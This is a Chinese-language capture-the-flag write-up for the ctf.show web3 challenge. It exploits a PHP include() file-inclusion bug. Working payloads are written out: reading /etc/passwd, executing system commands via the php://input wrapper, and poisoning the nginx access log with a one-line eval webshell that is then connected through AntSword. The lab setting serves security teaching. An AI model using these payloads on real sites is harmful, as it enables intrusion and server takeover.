CTF练习,发现一题php伪协议执行命令和写入木马。
一、题目
ctf.show_web3
php页面代码提示
<?php include($_GET['url']);?>
二、分析
打开题目只看到一行代码
看到include想到包含漏洞
include语句会获取指定文件中存在的所有文本/代码/标记,
明显是引导我们利用文件包含漏洞进行操作,
源码中的include()函数通过GET请求接收一个url参数,那接下来我们就给它传递一个url参数
直接构造?url=/etc/passwd,有回显,证明确实是文件包含。最终目的想要获取flag,找到flag的文件。
这里非常体现信息收集的重要性!回显发现服务器是nginx,联想到nginx的日志路经/var/log/nginx/access.log,
既然能文件包含,那么应该可以输出nginx的日志,尝试一下真的输出了!在日志中记录了每次请求的地址、协议头,那么我们就相当于有了对服务器的写权限!不搞个一句话说不过去了<?php @eval($_POST['hi']); ?>修改请求的协议头,再次读取日志文件,发现日志中记录了一句话。常使用蚁剑进行连接,成功!
思路:
1、php伪协议执行命令
2、php文件包含写入木马
三、解析
方法一:php伪协议执行命令
使用代理软件(此处使用Burp Suite)抓包,或者用火狐hackbar模式post传数据
利用php://input伪协议执行PHP代码,代码的内容为执行系统命令,查看当前目录下所有文件
https://ad62f5b6-81d2-4918-9286-b13accc601e6.challenge.ctf.show/?url=php://input
post
post传递 <?php system("ls") ?>
页面显示
ctf_go_go_go index.php
post传递 <?php system("cat ctf_go_go_go") ?>
显示ctf
方法二:php文件包含写入木马
先看一下日志。
url + ?file=/var/log/nginx/access.log
bp抓包改包
传递一句话木马
url + ?file=/var/log/nginx/access.log
修改请求的协议头
<?=eval($_POST['hi']);?>
蚁剑连接日志文件。
url地址:url + ?file=/var/log/nginx/access.log
密码:hi
连接成功
原文始发于微信公众号(Hacking黑白红):php伪协议执行命令和写入木马
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论